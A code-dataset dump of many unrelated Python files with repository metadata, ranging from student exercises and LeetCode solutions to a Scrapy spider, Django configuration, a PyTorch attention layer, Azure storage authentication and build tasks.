b4e15b33e55d23e30e8e2f6b8a321eafb8f54723 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/309/usersdata/293/73227/submittedfiles/atm.py | 2c93c82af2e85472309450b343bbc2b08ab565f8 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 267 | py | # -*- coding: utf-8 -*-
from __future__ import division
import math
money=int(input("Digite um valor: "))
r1=money%20
r2=r1%10
r3=r2%5
r4=r3%2
d1=money//20
d2=r1//10
d3=r2//5
d4=r3//2
d5=r4//1
if money<0:
print("Valor inválido")
else:
print(str(d1)+str(d2)) | [
"[email protected]"
] | |
604bca4b8f0b2686a9201ccb1c91a2fd818f3ee0 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02836/s667985812.py | 1658fec98933a591e5a14d44dd868cbef7443c97 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 379 | py | S = input()
leng = len(S)
count = 0
if leng % 2 == 0:
S1 = S[:int(leng/2)]
S2 = S[int(leng/2):]
for i in range(int(leng/2)):
if S1[i] == S2[int(leng/2)-1-i]:
count += 1
print(int(leng/2)-count)
else:
S1 = S[:int(leng/2)]
S2 = S[int(leng/2)+1:]
for i in range(int(leng/2)):
if S1[i] == S2[int... | [
"[email protected]"
] | |
af2f0512e91ea49f71983aa68b1076a656ccefd2 | 090d43fb627fd1d91bb3d745f008485f15f8f189 | /wotw_highlighter/block_header.py | be74c109bcd8bee32e87936500abd1df1f77b06e | [
"ISC"
] | permissive | wizardsoftheweb/wotw-highlighter | 6153ebc50d574d963b060393591c76c44c13ba4c | f9c2c91f5ebc506192e81573942b4989c80ae2bb | refs/heads/master | 2021-04-25T11:24:12.816987 | 2018-02-24T23:21:16 | 2018-02-24T23:21:16 | 111,818,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,623 | py | """This file provides a class to attach a header to a block"""
from wotw_highlighter.block_options import BlockOptions
class BlockHeader(BlockOptions):
"""This class compiles and renders a block's header (if any)"""
RENDER_AN_OPTION_NOT_INCLUDED = ''
ERROR_NEED_blob_path_OR_TITLE = ValueError('''\
blob... | [
"[email protected]"
] | |
d415c73efb114941108de5cc70bf361106a5cb61 | 9655434fa24cff892af8a6a54fc448ef7075926a | /scrapy框架/day07/redisSpiderPro/redisSpiderPro/spiders/redisSpiderTest.py | db9f1980547be6a56ec5fd15b5ca791643ba9bd8 | [] | no_license | chenrun666/Spider | acaa6849726417e0df56d4e43b52fd1de22ac1d8 | 2ec2e5621d0eaa15d2a2bcc2fa11642a9441888c | refs/heads/master | 2020-04-09T04:42:05.168983 | 2019-01-15T13:21:40 | 2019-01-15T13:21:40 | 160,032,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 943 | py | # -*- coding: utf-8 -*-
import scrapy
from scrapy_redis.spiders import RedisSpider
from redisSpiderPro.items import RedisspiderproItem
class RedisspidertestSpider(RedisSpider):
name = 'redisSpiderTest'
#allowed_domains = ['www.xxx,com']
#start_urls = ['http://www.xxx,com/']
redis_key = 'data' #调度器队列的名称... | [
"[email protected]"
] | |
b08549cdc9930326c9806f5c1e261d6761327e2b | 4af5c720758bd4ef36ccf94934fa79ddfc6d29ab | /pelicanconf.py | a7b514784cb9a8bf6cbbdf25f15b355abd50c4a4 | [] | no_license | juhhcarmona/grupyrp.github.io | 5151fff8463821d8976ddf175281755b21a54675 | 9c1c68185ae95bd419bbb939493c3940fd5b319b | refs/heads/pelican | 2021-01-11T03:56:10.644068 | 2016-10-18T20:10:58 | 2016-10-18T20:10:58 | 71,271,500 | 0 | 0 | null | 2016-10-18T17:03:34 | 2016-10-18T17:03:31 | Python | UTF-8 | Python | false | false | 3,042 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = u'Grupy-RP'
SITENAME = u'Grupy-RP'
SITEURL = ''
PATH = 'content'
TIMEZONE = 'America/Sao_Paulo'
THEME = 'themes/malt'
SITE_LOGO = 'images/logo/logo.png'
SITE_BACKGROUND_IMAGE = 'images/banners/aerea.jpg'
STATIC_PATHS = ... | [
"[email protected]"
] | |
4beef22bf29700d3794b948c98dbaa4b55e1f8e0 | 7db6c1865cf9102808824ff06cda747b6e572a21 | /Python/Test/Time/time_count.py | 9d6d2bf361c05494395587a1c48789d455799998 | [] | no_license | hyteer/testing | 1f6cabc1d2b67faa4533e6ad7eb5be8c13d542c9 | 1d8b47b3bbb2daf00e4f15b5d18e86111ea4e113 | refs/heads/master | 2020-05-21T16:19:08.243676 | 2017-01-03T01:25:17 | 2017-01-03T01:25:17 | 60,914,071 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 405 | py | import time
from datetime import datetime
def compute(i):
for i in range(1,i):
i = i+1
return i
start_time = datetime.now()
print "start:%s" % str(start_time)
n = compute(100000)
end_time = datetime.now()
print "end:%s" % str(end_time)
#elapsed_time = end_time - start_time
#print "elapsed_time:%s" % str(elap... | [
"[email protected]"
] | |
88f98b361bb900da84472e106fdc314378c2e695 | facbdbdadacd23f6c83d266116dc14744741070f | /Core_Python/Day-22/Dict/13.py | b12af90d65221bfd295325d609af46cfb2c20761 | [] | no_license | Yogesh-Singh-Gadwal/YSG_Python | 51b6b53fe34567bf066b6e487c00da766b47ac6b | f0d6841e1f92d1d2b27d8ecdd332d40b49a5ca69 | refs/heads/master | 2023-06-06T04:40:12.004713 | 2021-07-06T19:59:26 | 2021-07-06T19:59:26 | 292,482,586 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 187 | py | # dict
import time
d1 = {
"a":"micky",
"b":"akira",
"c":"rahul"
}
print(d1)
print(type(d1))
print()
time.sleep(3)
d1['d'] = 'amit'
print(d1)
| [
"[email protected]"
] | |
fc99177cb2c2d349aa7b8d333935662131b2b0d2 | ba86ef56fb2ff1a8bf9be3058b58b9e48e7b50ce | /apps/rrhh/urls/activoUrls.py | f9ebbd3822e6e27218afabebd53c16babc23aa94 | [] | no_license | robertowest/lubre_homepage | 277f8fc81512b482fbea539234f30ef3eb801480 | 9de02443ba2ee3cd48afd2b7d580a09081fe84f2 | refs/heads/master | 2023-07-14T04:39:38.640155 | 2021-08-30T17:43:56 | 2021-08-30T17:43:56 | 223,473,409 | 0 | 0 | null | 2020-05-07T13:50:46 | 2019-11-22T19:34:22 | Python | UTF-8 | Python | false | false | 563 | py | from django.urls import path
from apps.rrhh.views import activoViews as views
app_name = "activo"
urlpatterns = [
path('', views.ActivoTemplateView.as_view(), name='index'),
path('listado/', views.ActivosListView.as_view(), name='list'),
path('<int:fk>/crear/', views.ActivoCreateView.as_view(), name='cre... | [
"[email protected]"
] | |
d1ca7482114376f98e1dcdf854e9233fdc546a85 | 71f7d58c9a33fc8fdfdd85d5f432565010856c5a | /ciscripts/check/project/__init__.py | 69052c33b396fab013dd28c9d6aedeb5ed0e50c7 | [
"MIT"
] | permissive | polysquare/polysquare-ci-scripts | 32a3bbcab62d77c1dfcbbf0ad78a23306e67d8c6 | 9978f0600ea964a9f2dffd9f4eb01a10d08d6788 | refs/heads/master | 2022-10-27T23:37:25.192253 | 2018-02-22T02:03:11 | 2018-02-22T02:03:20 | 28,320,857 | 2 | 2 | MIT | 2022-10-23T07:10:40 | 2014-12-22T01:58:27 | Python | UTF-8 | Python | false | false | 193 | py | # /ciscripts/check/project/__init__.py
#
# Module loader file for /ciscripts/check/project.
#
# See /LICENCE.md for Copyright information
"""Module loader file for /ciscripts/check/project."""
| [
"[email protected]"
] | |
49cf7d40a41f08cf4b9942fb0992993977cdd6cb | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/built-in/cv/classification/Gluon_ResNet50_v1b_for_PyTorch/timm/models/layers/halo_attn.py | 5cb9d54dd40bdc666fb9eb7c60ee2eaa1c43e199 | [
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference",
"GPL-1.0-or-later",
"CC-BY-NC-4.0",
"LicenseRef-scancode-proprietary-license",
"LGPL-2.0-or-later"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 7,400 | py | # Copyright 2019 Ross Wightman
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required... | [
"[email protected]"
] | |
9090de0981c2a4334712d26275bc1f06aeb6a383 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_lees.py | 0c52ef364ea8500533dfc82c6c80a47232551d67 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 217 | py |
from xai.brain.wordbase.nouns._lee import _LEE
#calss header
class _LEES(_LEE, ):
def __init__(self,):
_LEE.__init__(self)
self.name = "LEES"
self.specie = 'nouns'
self.basic = "lee"
self.jsondata = {}
| [
"[email protected]"
] | |
e86906546d5709bb143c540a3d02b9fb77e10673 | 27b86f422246a78704e0e84983b2630533a47db6 | /tests/test_05_tools/test_534_dwg_info.py | 3b9e92c3d0eced9c637c8286aceef1c82a2dbdfa | [
"MIT"
] | permissive | mozman/ezdxf | 7512decd600896960660f0f580cab815bf0d7a51 | ba6ab0264dcb6833173042a37b1b5ae878d75113 | refs/heads/master | 2023-09-01T11:55:13.462105 | 2023-08-15T11:50:05 | 2023-08-15T12:00:04 | 79,697,117 | 750 | 194 | MIT | 2023-09-14T09:40:41 | 2017-01-22T05:55:55 | Python | UTF-8 | Python | false | false | 988 | py | # Copyright (c) 2022, Manfred Moitzi
# License: MIT License
import pytest
from ezdxf.dwginfo import dwg_info
R12 = "41 43 31 30 30 39"
R2000 = "41 43 31 30 31 35"
R2018 = "41 43 31 30 33 32"
R20XX = "41 43 31 30 33 33"
unknown1 = "32 32 31 30 33 32"
unknown2 = ""
def data(s) -> bytes:
return bytes(int(x, 16) ... | [
"[email protected]"
] | |
f60fa889f48e5d98c9ed095639ff9bbcdbced23b | 364085d006bb0e31f915091a07125501ab455277 | /amplify/agent/util/http.py | 2a6ec08a67743e03fcc23d237fde672d3aa78fd6 | [
"BSD-2-Clause"
] | permissive | digideskio/digidesk-amplified | 6f64768c28b7ecc32088259f07498df6956341ae | 547f899d6fd47dc726df28ee90bf3511f02bd6cf | refs/heads/master | 2020-12-30T23:21:08.300692 | 2016-04-14T12:20:01 | 2016-04-14T12:20:01 | 56,352,865 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,597 | py | # -*- coding: utf-8 -*-
import ujson
import time
import requests
import logging
import zlib
from amplify.agent import Singleton
from amplify.agent.context import context
requests.packages.urllib3.disable_warnings()
"""
WHY DO YOU DISABLE THIS WARNING?
We don't want to show you redundant messages.
IS IT A REAL PRO... | [
"[email protected]"
] | |
e0bfd11f7270a4b660b186cb8e2368ef570c68ff | aa0bf4e774ff82065927dbddf34be19c09b64c9c | /examples/ex1.py | 64ac038d0826dd17f9a516ada94d2873b01d30ab | [
"BSD-3-Clause"
] | permissive | grst/ipymd | 510ea6feb2726fadfe24ebbcbf3981c104fad8d8 | 4a57c4212b8e71848d51826859c2a3e478037e28 | refs/heads/grst | 2023-04-02T14:38:34.154687 | 2020-12-02T11:37:38 | 2020-12-02T11:37:38 | 87,005,381 | 38 | 6 | BSD-3-Clause | 2018-08-28T11:33:46 | 2017-04-02T18:08:34 | HTML | UTF-8 | Python | false | false | 511 | py | # List of ipymd cells expected for this example.
output = [
{'cell_type': 'markdown',
'source': '# Header'},
{'cell_type': 'markdown',
'source': 'A paragraph.'},
{'cell_type': 'markdown',
'source': 'Python code:'},
{'cell_type': 'code',
'input': 'print("Hello world!")',
'out... | [
"[email protected]"
] | |
48218e1f9f444bb01ae4752bef0b91bea2ed4dcb | c6a101547c2b7f36fe83a725974a8a7f02cf176d | /data_structures/bst/bt_to_bst.py | a3943ce19459c0432a31bde8205bf3bcf1beb69f | [
"MIT"
] | permissive | prabhupant/python-ds | 737cc35574de5c2ece0f0813cf00775324a8dbe7 | f7d6d78fedaf84b7527965bb1798b7a8da989474 | refs/heads/master | 2023-08-22T05:04:22.937675 | 2022-10-04T01:29:39 | 2022-10-04T01:29:39 | 199,366,418 | 2,325 | 704 | MIT | 2022-10-10T13:01:10 | 2019-07-29T02:48:57 | Python | UTF-8 | Python | false | false | 767 | py | class Node:
def __init__(self, val):
self.val = val
self.left = None
self.right = None
def store_inorder(root, inorder):
if root is None:
return
store_inorder(root.left, inorder)
inorder.append(root.data)
store_inorder(root.right, inorder)
def count_nodes(root):... | [
"[email protected]"
] | |
0fa67e76425e468c985c3025e54b6202be4272fd | f9e265f39cdfa568e67acb50840f9655fc4d65f7 | /builtinfunctionstypes.py | b39cd0b6875e905da2d2d93d4b3b82210ca30fcf | [] | no_license | raymondmar61/pythonwilliamfiset | 5a4fc7faba6880f3df6b3ded98cc6d17925e7895 | aae7c533f48efbe91a4e7c2d640f2032cd97e1f3 | refs/heads/master | 2021-01-25T04:42:19.546278 | 2017-09-28T22:15:30 | 2017-09-28T22:15:30 | 93,469,377 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,482 | py | #williamfiset 30 Builtins 5 of 6 Types
# tuple, list, str, bool, int, float
from math import pi as PIE
print(tuple("My_Python")) #print ('M', 'y', '_', 'P', 'y', 't', 'h', 'o', 'n')
print(tuple((1,2,3))) #print (1, 2, 3)
print(tuple( ['G','N','U'] )) #print ('G', 'N', 'U'). List becomes a tuple
print(list(range(10))... | [
"[email protected]"
] | |
57145efae0a73a250ab079b71515694b7e3fa35e | 2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8 | /pardus/tags/2007.2/desktop/freedesktop/hal/actions.py | 8548d7eb4c9dc4cbaff444aa99ef55843bd1fd65 | [] | no_license | aligulle1/kuller | bda0d59ce8400aa3c7ba9c7e19589f27313492f7 | 7f98de19be27d7a517fe19a37c814748f7e18ba6 | refs/heads/master | 2021-01-20T02:22:09.451356 | 2013-07-23T17:57:58 | 2013-07-23T17:57:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,796 | py | #!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Copyright 2005-2007 TUBITAK/UEKAE
# Licensed under the GNU General Public License, version 2.
# See the file http://www.gnu.org/copyleft/gpl.txt.
from pisi.actionsapi import autotools
from pisi.actionsapi import pisitools
from pisi.actionsapi import libtools
from pisi.acti... | [
"[email protected]"
] | |
971cbd5365ebabe295b53bc89246a7dab9884348 | 18239524612cf572bfeaa3e001a3f5d1b872690c | /clients/oathkeeper/python/ory_oathkeeper_client/models/swagger_create_rule_parameters.py | fa695454e4e5de58f8d17064a76a47b6c668c873 | [
"Apache-2.0"
] | permissive | simoneromano96/sdk | 2d7af9425dabc30df830a09b26841fb2e8781bf8 | a6113d0daefbbb803790297e4b242d4c7cbbcb22 | refs/heads/master | 2023-05-09T13:50:45.485951 | 2021-05-28T12:18:27 | 2021-05-28T12:18:27 | 371,689,133 | 0 | 0 | Apache-2.0 | 2021-05-28T12:11:41 | 2021-05-28T12:11:40 | null | UTF-8 | Python | false | false | 3,509 | py | # coding: utf-8
"""
ORY Oathkeeper
ORY Oathkeeper is a reverse proxy that checks the HTTP Authorization for validity against a set of rules. This service uses Hydra to validate access tokens and policies. # noqa: E501
The version of the OpenAPI document: v0.0.0-alpha.37
Contact: [email protected]
Genera... | [
"[email protected]"
] | |
4415b7bf0416b19028465628c5d14a17d2e84962 | 932a6797f1e97c7f8c96af83647fc27d2324765e | /python/1138. Alphabet Board Path.py | 6b59f12b589ba7b471f1b8f5ad023ddb023c67ed | [] | no_license | rhzx3519/leetcode | 1245e0a19dbcb4b853eb0ac369601f31171b55c5 | 2fe336e0de336f6d5f67b058ddb5cf50c9f00d4e | refs/heads/master | 2023-08-17T01:27:49.674440 | 2023-08-16T23:08:59 | 2023-08-16T23:08:59 | 85,682,362 | 3 | 1 | null | 2021-05-08T12:10:56 | 2017-03-21T09:23:02 | Python | UTF-8 | Python | false | false | 1,864 | py | class Solution(object):
def alphabetBoardPath(self, target):
"""
:type target: str
:rtype: str
"""
board = ["abcde", "fghij", "klmno", "pqrst", "uvwxy", "z"]
m, n = len(board), len(board[0])
vis = [[-1]*len(board[0]) for _ in range(len(board))]
dirt = ... | [
"[email protected]"
] | |
a344d7024b0846d0428ce64b15b6e3afecb52464 | 1ee910d6602123eb1328f56419b04e31b3761b6b | /bin/pilfile.py | 9958e72c9cff0d5f0c078db012a9bcb82355fa89 | [
"MIT"
] | permissive | mraza007/Pizza-or-Not-a-Pizza | 7fc89e0905c86fbd3c77a9cc834a4b6098912aeb | 6ad59d046adbd6be812c7403d9cb8ffbdbd6b0b8 | refs/heads/master | 2022-12-15T15:47:34.779838 | 2018-07-04T02:28:56 | 2018-07-04T02:28:56 | 127,992,302 | 30 | 4 | MIT | 2022-11-22T00:43:51 | 2018-04-04T01:56:26 | Python | UTF-8 | Python | false | false | 2,604 | py | #!/home/muhammad/image-recognition/bin/python3
#
# The Python Imaging Library.
# $Id$
#
# a utility to identify image files
#
# this script identifies image files, extracting size and
# pixel mode information for known file formats. Note that
# you don't need the PIL C extension to use this module.
#
# History:
# 0.0 ... | [
"[email protected]"
] | |
bee9bac253802fcac7d2c1eb66160555ca7defa8 | 3345eebefad6f4348f29cdec2f2d59a89c843861 | /mac/shop/migrations/0003_contact.py | ef5562ab9bfba669d4149c8dd469d07e2bea2681 | [] | no_license | AyushiiJain/My-Ecommerce-Website | fc8e9ccc2a106f2341e1fcb5b718679e2fd7b3bd | 9bdfc9bbd1c7d4573db2d9138b9996abe2f5c1ad | refs/heads/master | 2023-05-17T09:24:23.932158 | 2021-06-09T08:54:36 | 2021-06-09T08:54:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 693 | py | # Generated by Django 3.2.2 on 2021-05-11 07:49
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('shop', '0002_auto_20210508_0633'),
]
operations = [
migrations.CreateModel(
name='Contact',
fields=[
... | [
"[email protected]"
] | |
2e67cfa924d6e66b5a606f3dd3c8371825938f80 | d12c4bb550c71bb3eaad5dbea099fa79d8001316 | /CodingNinjasOOPS/MethodOverrriding2.py | ba5f63e34530b739d0a728f0ae2216e44eaac359 | [] | no_license | nilesh7808/Coding-Ninjas-DSA-Programs | 8fdd980424e8b21026825ff5d444df7d70545629 | bfdc2bd9b317721d30b8109e6fb37c61bfc577e8 | refs/heads/master | 2023-04-29T02:54:01.247715 | 2021-05-22T03:34:34 | 2021-05-22T03:34:34 | 369,706,653 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 324 | py |
class vehicle:
def __init__(self,color):
self.color = color
def print(self):
print("The color of Car is:",self.color)
class Car(vehicle):
def print(self):
super().print() # Now it will look to the parent class
print("This is Pretty Good ")
c = Car("Black")
c.pri... | [
"[email protected]"
] | |
bebb93feff90d5c700d2dac9c625f44c6b54a245 | 6732dce33ccc8d3912c7dd9bb5a029988586a649 | /samples/apps/search_organize_users.py | 0e3db637d8cf7cb4f2b9ef4ce7081cabd4862e0d | [
"Apache-2.0"
] | permissive | hamada2029/gdata-python3 | 8a0d3cb53b707b7ad2f826a486df254c813e7463 | c1028f6567b480908b90848523bebaf78e6b49f7 | refs/heads/master | 2021-01-22T12:53:28.196826 | 2014-11-30T07:05:30 | 2014-11-30T07:05:30 | 46,613,040 | 1 | 0 | null | 2015-11-21T11:44:20 | 2015-11-21T11:44:19 | null | UTF-8 | Python | false | false | 5,004 | py | #!/usr/bin/python
#
# Copyright 2011 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | [
"[email protected]"
] | |
4343b66f7f4aa4b421a9916100526490275a5e63 | e4de060c295fba0d0386d0a7678e744ced18b920 | /build/move_base_flex/mbf_costmap_core/catkin_generated/pkg.installspace.context.pc.py | d99db631ffe34a45fa7eeeca31b56d21fdb231f6 | [] | no_license | jbenzhhn/carla_hhn | af9497d01ce1f34ee0016ca660a0cc5af5f71be8 | abd803bcdd506641c8152ec994468518ea809f1b | refs/heads/master | 2023-04-05T10:50:28.934452 | 2021-04-07T14:31:41 | 2021-04-07T14:31:41 | 355,151,500 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 493 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "${prefix}/include".split(';') if "${prefix}/include" != "" else []
PROJECT_CATKIN_DEPENDS = "std_msgs;geometry_msgs;mbf_abstract_core;mbf_utility;tf;costmap_2d;nav_core".replace(';', ' ')
PKG_CONFIG_LI... | [
"[email protected]"
] | |
011004d9088a8eae9ee9471922e947f0df13e0e9 | 1d7ae7f6e7a0df98d92f9ec5f277752d14924a94 | /fake-very-small-test/tmp/Environment_jq.py | 5e6d4b61381271a2d593cd1c8cc162dbd1a0feb7 | [] | no_license | lindsaymorgan/Mobike-Bike-Sharing-System-Dispatch-Optimization-Using-Reinforcement-Learning | 1e6b1aa3c64d2ff2e31b5d9dcc4abdc11e10679c | 6c8a329fae5c2ac8db45a3d8c55b308aae8ad804 | refs/heads/master | 2023-05-02T07:39:49.089459 | 2021-05-23T02:26:14 | 2021-05-23T02:26:14 | 279,467,461 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,717 | py | import numpy as np
from copy import deepcopy
import scipy.stats as stats
class State:
def __init__(self, state, region_count, car_num, out_nums, in_nums, capacity_each_step, reward=0, t=0, reward_sum=0, R=None):
self.region_count = region_count
self.car_num = car_num
self.state = state
... | [
"[email protected]"
] | |
3f9e557501df5b989853196d4359ca663f35ee37 | 266b3911034ffe37f6c1c88ae4061f5792676c8b | /scripts/irods/logging_infrastructure.py | d368b224ecfbbe73002eb15b15cd538eb3162081 | [
"BSD-3-Clause"
] | permissive | trel/irods | cca485264f4189cb9fc9ce63f204faf5ff9f1ff5 | dc462b0e90f3d715546329570f5950dd425dc489 | refs/heads/master | 2022-05-20T16:51:46.864969 | 2021-10-04T17:55:26 | 2021-10-04T17:59:34 | 73,592,300 | 1 | 0 | NOASSERTION | 2021-10-04T17:59:35 | 2016-11-13T03:03:35 | C++ | UTF-8 | Python | false | false | 1,536 | py | #! /usr/bin/python
from __future__ import print_function
import os
import sys
import platform
import subprocess
import shutil
import logging
from .log import register_tty_handler
def rsyslog_config_path():
return '/etc/rsyslog.d/00-irods.conf'
def logrotate_config_path():
return '/etc/logrotate.d/irods'
d... | [
"[email protected]"
] | |
356f23dcc0f34092b262caed148b54b7583618e5 | ace7e98719c756cff4e4baf7c92e546cbc0b92ca | /LeetCode/firstMissingPositive.py | 37817e06877b8d07f503696fc1fe9d2f340a9bb4 | [] | no_license | armsky/OnlineJudge | f4159326c92a794695cca8a162280fef32f95a2a | c658b78c920aa94c25b3d932cd7e46c0df82b19a | refs/heads/master | 2020-04-15T01:21:18.158217 | 2015-12-11T03:05:28 | 2015-12-11T03:05:28 | 21,989,843 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 867 | py | """
Given an unsorted integer array, find the first missing positive integer.
For example,
Given [1,2,0] return 3,
and [3,4,-1,1] return 2.
Your algorithm should run in O(n) time and uses constant space.
"""
class Solution:
# @param A, a list of integers
# @return an integer
def firstMissingPositive(self... | [
"[email protected]"
] | |
ca9dd99a19a954466f615b47a1b8dbff97ea320d | bc7ae358f8932d2bc5358c70f6c1edd92905aeb9 | /transparent test.py | 2cb32e0157490b5231ac64cbc8bc1f60fe954ddd | [] | no_license | Aaron-Hsiao1/Python_Sylvan | 415b383bebff619062ee6ef70339ec6a1fe43965 | b293e36caf215be7721cf869b494d0fd4860e5b2 | refs/heads/master | 2023-07-19T19:04:55.211094 | 2021-08-21T19:34:03 | 2021-08-21T19:34:03 | 323,982,539 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,297 | py | import pygame
pygame.init()
X = 570
Y = 900
screen_width = 1000
screen_height = 1000
Width = 30
Height = 30
Speed = 8
looping = True
screen = pygame.display.set_mode((screen_width, screen_height))
pygame.display.set_caption("blank")
while looping:
pygame.time.delay(5)
for event in pygame.event.get():
... | [
"[email protected]"
] | |
8ffaa6d47074616ebc145529b8fae389dbe8f338 | fb55adfc901176c1bae6914b51c0eedc7eab44a3 | /tasks.py | 79acd1db41870a008b6336a3f9a68773cdc68847 | [
"MIT"
] | permissive | yijiangh/coop_assembly | b82ab7b17b956ff33beafe329a48c083cfb7f940 | 71108b0639323cf3d996d63b0f702d45f4d60d67 | refs/heads/master | 2023-04-03T07:36:36.444159 | 2020-02-05T16:40:08 | 2020-02-05T16:40:08 | 228,839,363 | 8 | 0 | MIT | 2019-12-18T12:51:08 | 2019-12-18T12:51:06 | null | UTF-8 | Python | false | false | 6,917 | py | # -*- coding: utf-8 -*-
from __future__ import print_function
import codecs
import contextlib
import glob
import os
import sys
from shutil import rmtree
from xml.dom.minidom import parse
from invoke import Collection, Exit, task
# For automatic doc deployment
# from paramiko import SSHClient
# from paramiko.client i... | [
"[email protected]"
] | |
fb3e5fb2d325fe624ac277cba857887429060102 | 325fde42058b2b82f8a4020048ff910cfdf737d7 | /src/storage-blob-preview/azext_storage_blob_preview/vendored_sdks/azure_storage_blob/v2019_12_12/_shared/authentication.py | b11dc57578087edc183689b24d68b515df7a6a00 | [
"LicenseRef-scancode-generic-cla",
"MIT"
] | permissive | ebencarek/azure-cli-extensions | 46b0d18fe536fe5884b00d7ffa30f54c7d6887d1 | 42491b284e38f8853712a5af01836f83b04a1aa8 | refs/heads/master | 2023-04-12T00:28:44.828652 | 2021-03-30T22:34:13 | 2021-03-30T22:34:13 | 261,621,934 | 2 | 5 | MIT | 2020-10-09T18:21:52 | 2020-05-06T01:25:58 | Python | UTF-8 | Python | false | false | 5,199 | py | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import lo... | [
"[email protected]"
] | |
02356b4c95f1fe3d5b2b19948af77d16597c26f6 | dffb9a8855adecc4bd4d21b9168a4e9bdc75e508 | /arrandmatrix/q9.py | e71297c66dbcfdb2e98b4e05b14779bcc6c7eb44 | [
"MIT"
] | permissive | ResolveWang/algorithm_qa | 95278c4459e38c55225304210770efb61d934fcc | a0cb649acaf8cf9d808272bc15f1951f2c05c828 | refs/heads/master | 2021-07-17T09:32:01.845815 | 2018-08-13T13:54:42 | 2018-08-13T13:54:42 | 100,107,109 | 90 | 29 | null | null | null | null | UTF-8 | Python | false | false | 1,873 | py | """
问题描述:给定一个排序数组arr和整数k,不重复打印arr中所有相加和为k的不降序二元组。
例如,arr=[-8, -4, -3, 0, 1, 2, 4, 5, 8, 9], k=10,打印结果为:
1,9
2,8
补充题目:
给定排序数组arr和整数k,不重复打印arr中所有相加和为k的不降序三元组。
例如,arr=[-8, -4, -3, 0, 1, 2, 4, 5, 8, 9], k=10,打印结果为:
-4, 5, 9
-3, 4, 9
-3, 5, 8
0, 1, 9
0, 2, 8
1, 4, 5
"""
class KnumOfSum:
@classmethod
def get_two_t... | [
"[email protected]"
] | |
c533a3df7e8cc711386467ffd3b763470cc473f5 | 41e3065d6f29449251f1cc79cb340fa273ac5c61 | /0x07-python-test_driven_development/2-matrix_divided.py | 863f0dc62cc8b16f472da3460c0908a01aaa3834 | [] | no_license | BD20171998/holbertonschool-higher_level_programming | 856fa3a7fcfafd3e17ebd7dd4cf9d3e5a609fd1f | bfa78d25bd4527e06cf1bf54cbc00722449d9a30 | refs/heads/master | 2021-07-16T01:58:42.911959 | 2020-11-15T07:18:19 | 2020-11-15T07:18:19 | 226,976,859 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,359 | py | #!/usr/bin/python3
"""
This is an example of the matrix_divided function.
>>> matrix = [[1, 2, 3], [4, 5, 6]]
>>> print(matrix_divided(matrix, 3))
[[0.33, 0.67, 1.0], [1.33, 1.67, 2.0]]
"""
def matrix_divided(matrix, div):
"""
This function divides a matrix by an integer or float and returns a new
matri... | [
"[email protected]"
] | |
a42ee1435bedd3c4a0940ee63ffcaa7c0387407f | 612325535126eaddebc230d8c27af095c8e5cc2f | /depot_tools/git_upstream_diff.py | cc0a2006e585c1a00a443d4763335359281640b6 | [
"BSD-3-Clause"
